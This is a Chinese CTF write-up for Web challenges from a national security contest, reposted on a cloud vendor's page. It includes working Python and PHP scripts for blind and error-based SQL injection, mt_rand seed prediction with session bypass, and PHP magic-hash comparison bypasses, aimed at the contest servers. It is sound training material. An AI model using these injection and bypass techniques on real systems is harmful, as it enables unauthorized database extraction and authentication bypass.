第三屆全國網路空間安全技術大賽 Web補題 By Assassin(持續更新)

來源:互聯網
上載者:User

最近比較忙,可能補題的速度慢一些些~ 簽到題

首先進入介面發現如下代碼

然後就知道用==弱匹配,構造一個純數字串和一個純字母串,讓他們的MD5值形如0exxx且0e後面全是純數字。就構成科學記號標記法0==0,payload

Username:QNKCDZOpassword:240610708

進去後發現還有一個簡單的繞過

我們看到又是==,有一個參考表,大家一看便知~

post的payload構造如下

message={"key":0}


抽抽獎

看到這題首先想到轉盤模板,應該是js,然後看原始碼的時候發現了jQurey.js這個函數有點特別,因為有一段jother加密的代碼,而且相當大,沒法直接運行。

然後我們在下面可以看到控制轉盤的函數,通過chrome中的console調試可以發現這個可以控制轉盤的方向等等。而其中的jsctf0 還是jsctf1變數也好都是我們可以更改的。

$(_$[0]).rotate({        bind: {            click: function() {                var jsctf0 = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8];                jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];                console.log(jsctf0);                if (jsctf0 == 0x0) {                    timeOut()                } else {                    var jsctf1 = [0x0];                    jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];                    if (jsctf1 == 0x1) {                        rotateFunc(0x1, 0x9d, _$[1])                    }                    ;if (jsctf1 == 0x2) {                        rotateFunc(0x2, 0xf7, _$[2])                    }                    ;if (jsctf1 == 0x3) {                        rotateFunc(0x3, 0x16, _$[3])                    }                    ;if (jsctf1 == 0x0) {                        var jsctf2 = [0x43, 0x70, 0xca, 0x124, 0x151];                        jsctf2 = jsctf2[Math.floor(Math.random() * jsctf2.length)];                        rotateFunc(0x0, jsctf2, 0x0)                    }                }            }        }    });

然後我們理所應當的揭秘那個jother加密後的代碼,但是那個玩意兒實在是太大了。大概7000萬位元組,很難弄,但是我們可以利用chrome瀏覽器啊。console是一個很強大開發工具。我們可以輸入指令。比如說如下。。。猜測flag?

瀏覽器已經幫你解決好了,但是這一步多少還是蒙的,其實分析剛剛看的代碼知道調用功能的關鍵函數是rotateFunc函數,那我們在console中看一下rotateFunc函數也能得到關鍵函數getFlag~
得到代碼如下

直接一搞就看到了

(function() {window.getFlag=function(text){  if(text=='1'){      alert("你最厲害啦!可惜沒flag")  }   if(text=='2'){      alert("你太厲害了,竟然是二等獎")   }   if(text=='3'){      alert("你好厲害,三等獎啊")  }   if(text=='flag'){       alert("flag{951c712ac2c3e57053c43d80c0a9e543}")     }   if(text=='0'){      alert("再來一次吧")  } }})
繼續抽

首先還是轉盤,F12開啟源碼,發現當前的代碼存在,整理後的格式為

$(function() {    var rotateFunc = function(jsctf0, jsctf1, jsctf2) {        $('#lotteryBtn').stopRotate();        $("#lotteryBtn").rotate({            angle: 0x0,            duration: 0x1388,            animateTo: jsctf1 + 0x5a0,            callback: function() {                $.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) {                    alert(jsctf3['text'])                }, 'json');                $.get('token.php', function(jsctf3) {                    $("#token").val(jsctf3)                }, 'json')            }        })    };    $("#lotteryBtn").rotate({        bind: {            click: function() {                var jsctf0 = [0x0];                jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];                if (jsctf0 == 0x1) {                    rotateFunc(0x1, 0x9d, '1')                }                ;if (jsctf0 == 0x2) {                    rotateFunc(0x2, 0xf7, '2')                }                ;if (jsctf0 == 0x3) {                    rotateFunc(0x3, 0x16, '3')                }                ;if (jsctf0 == 0x0) {                    var jsctf1 = [0x43, 0x70, 0xca, 0x124, 0x151];                    jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];                    rotateFunc(0x0, jsctf1, '0')                }            }        }    })})

我們發現下面還是轉盤的控制函數嘛,但是上面就是get訪問什麼東西,構造就行了,首先我們需要到token.php上面拿到token值放到url中(這裡token測試過不會變)。那麼產生id的值的時候需要一個encode函數,這個是他自己寫的,沒關係我們再用console查詢。

整理後的為

function encode(string) {    var output = '';    for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) {        charCode = string.charCodeAt(x);        if (128 > charCode) {            charCode += 128        } else if (127 < charCode) {            charCode -= 128        }        charCode = 255 - charCode;        hexCode = charCode.toString(16);        if (2 > hexCode.length) {            hexCode = '0' + hexCode        }        output += hexCode    }    return output}

簡單的加密格式轉換而已,然後最關鍵的問題來了,rotateFunc函數中的jsctf2變數是轉盤中調用到的函數,代碼中只有0,1,2,3,而且肯定沒答案。我們怎麼知道是什麼呢。指令碼暴力構造。

上面思路理清了代碼就不難寫了

# -- coding:utf-8 --import requestsimport pyqueryimport hashlibcookies={'PHPSESSID':'3k2rd4536me3rjsojf473vctd7'}def encode(string):    key=""    for i in string:        if ord(i)<128:            temp=ord(i)+128        elif ord(i)>127:            temp=ord(i)-128        hexcode=255-temp        hexvalue=""        if len(hex(hexcode)[2:])==0:            hexvalue+="0"        hexvalue+=hex(hexcode)[2:]        key+=hexvalue    return keys=requests.Session()for num in range(256):    url='http://117.34.111.15:81/'    token = s.get(url+"token.php",cookies=cookies).text[1:-1]    #print token    have_encode=encode(hashlib.md5(str(num)).hexdigest())    #print str(have_encode)    makeurl=url+"get.php?token="+str(token)+"&id="+str(have_encode)    #print makeurl    html=s.get(makeurl,cookies=cookies).text    if 'flag' in html:        print html

Wrong

找到這個 .index.php.swp 通過恢複檔案 vim -r index.php 得到下面源碼

 <?php    error_reporting(0);    function create_password($pw_length=10){        $randpwd="";        for($i=0;$i<$pw_length;$i++){            $randpwd.=chr(mt_rand(33,126));        }        return $randpwd;    }session_start();mt_srand(time());$pwd=create_password();if($pwd==$_GET['pwd']){    if($_SESSION['userLogin'==$_GET[login]]){        echo "Good job, you get the key";    }    else {        echo "Wrong!";     }}$_SESSION['userLogin']=create_password(32).rand();?> 

這個題目還是考察的php魔法,一開始第一反應$pwd==$_GET[‘pwd’]能否構成0==String,但是發現$_GET[]沒法實現整除的傳參。然後就注意到了偽隨機數mt_sand ,只要原生隨機數種子 time() 和伺服器一致,就產生完全一樣的字串。

然後後面的$_SESSION[‘userLogin’]==$_GET[login],可以通過刪除Cookie的方法構造成NULL==NULL(第一次的時候話沒有Session所以為NULL,我們構造userLogin=來構造NULL)

然後寫一下代碼就好了,這裡需要保持本機和伺服器的時間同步。不知道伺服器什麼時間就暴力跑好了~(ps:這個伺服器時間實在是不知道,都試試吧~)

#我過了的代碼如下:<?phprequire_once '/include/Requests-1.7.0/library/Requests.php';Requests::register_autoloader();$url = 'http://117.34.111.15:85/index.php';function create_password($pw_length = 10){    $randpwd = "";    for ($i = 0; $i < $pw_length; $i++){        $randpwd .= chr(mt_rand(33,126));    }    return $randpwd;}$headers = array('Cookie' =>"");for($i=-100;$i<=0;$i++){    mt_srand(time()+$i);     $pwd = create_password();    $rep = Requests::get($url."?login=&pwd=$pwd");    $content = $rep->body;    $pos = strpos($content, "Good job");    if($pos!==false){        echo $content;    }}?>

flag{rand_afjk_u8nm_uq2n} so easy!

首先開頭我們得到了源碼。我們看到主要有三個功能

然後我們看到login函數中要admin

然後再看show函數功能,我們可以查詢admin的role角色,如果正常查的話一定是admin is admin!

然後就是漲姿勢的時候了。黑科技用Mysql中的位元運算可以構造注入點。看一下本地的實驗結果

構造username=0’^1^’1

而且我們通過login函數的查詢語句,知道了passwd的位置就在user之下吧。那麼我們看一下過濾函數,什麼都過濾了,但是。沒有過濾ascii、mid、select、from。然後我們可以用()來代替空格
簡單講一下mid這個函數為什麼在過濾了逗號時候可以利用,mid函數的參數是 mid(查詢變數,start,len) ,但是我們可以這樣構造mid(查詢變數 from start),也就是說mid可以控制查詢變數的起點而ascii這個函數,當查詢的是串的時候後面都會截斷。 下面是本地的實驗


接下來就是盲注了~懂了構造的原理代碼就很簡單了

# -- coding:utf-8 --import requestsurl='http://117.34.111.15:89/?action=show's=requests.Session()passwd=''for l in range(1,32):    for c in range(1,133):        username="0'^(ascii(mid((select(passwd)from(user)where(username='admin'))from(%d)))=%d)^'1"%(l,c)        data={'username':username,'passwd':123}        html=s.post(url,data=data).text        if 'admin' in html:            passwd+=chr(c)            print passwd            break

然後我們可以爆出來的passwd答案是

37b1d2f04f594bfffc826fd69e389688

然後不讓我們用admin登陸,怎麼辦呢。utf-8編碼問題繞過,超過可見字元就截斷了。

flag{e4d93a53bbe9a2f9c419086c16439aa7} just a test

不得不說自己的水平還是太低了,一開始實驗的時候連注入點都找不到,本來以為是在什麼地方存在什麼,後面發現了注入點不是別的地方。正是我們的url路徑上。沒想到查詢每一個頁面的時候用的就是mysql的語句,的確是學習了。

然後明顯的感覺就是報錯注入吧,這裡可以用ExtractValue或者UpdateXml函數的經典報錯注入,下面進行一下簡單的嘗試。發現這兩種方法都是可以用的~下面得到當前的資料庫為test1

但是我們想要的內容不一定在test1中,還是需要報資料庫名,發現還有一個test


然後我們需要爆一下表名,因為表的名字比較多,不妨寫個指令碼提取。

# -*- coding:utf-8 -*-import requestsimport timeimport res=requests.Session()for i in range(1,100):    url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit %d,1)))  and '1'='1"%i    html=s.get(url).text    content=re.findall(r'\'(.*?)\'',html,re.S)    print content[0][1:]

然後我們發現了端倪,表fl@g

然後我們再爆列名吧~稍微修改就行

# -*- coding:utf-8 -*-import requestsimport timeimport res=requests.Session()for i in range(1,1000):    url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns limit %d,1)))  and '1'='1"%i    html=s.get(url).text    content=re.findall(r'\'(.*?)\'',html,re.S)    print content[0][1:]

然後我們能發現ctf中明顯的提示指向…

然後就好辦了,查詢欄位內容即可,但是這裡有個坑點。fl@g這個東西在mysql會把@後面的當成變數。所以我們需要加上“符號

事實證明這個要的flag就是不在test1中

那就是在test中嘍~

但是真的是答案嗎。不是滴,因為ExtractValue或者UpdateXml報錯出來的都只有32位的。具體的恐怕還是要用盲注了。

# -*- coding:utf-8 -*-import requestss=requests.Session()flag='flag{99cd1872c9b26525a8e5ec878d'for i in range(32,50):    end=0    for j in range(32,127):        url="http://117.34.111.15:83/' and ascii(mid((select f1ag from test.`fl@g` limit 0,1),%d,1))=%d  and '1'='1"%(i,j)        html=s.get(url).text        print chr(j)        if "404 - Page Not Found" not in html:            end=1            flag+=chr(j)            print flag            break    if end==0:        break

真正答案~flag{99cd1872c9b26525a8e5ec878d230caf}

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.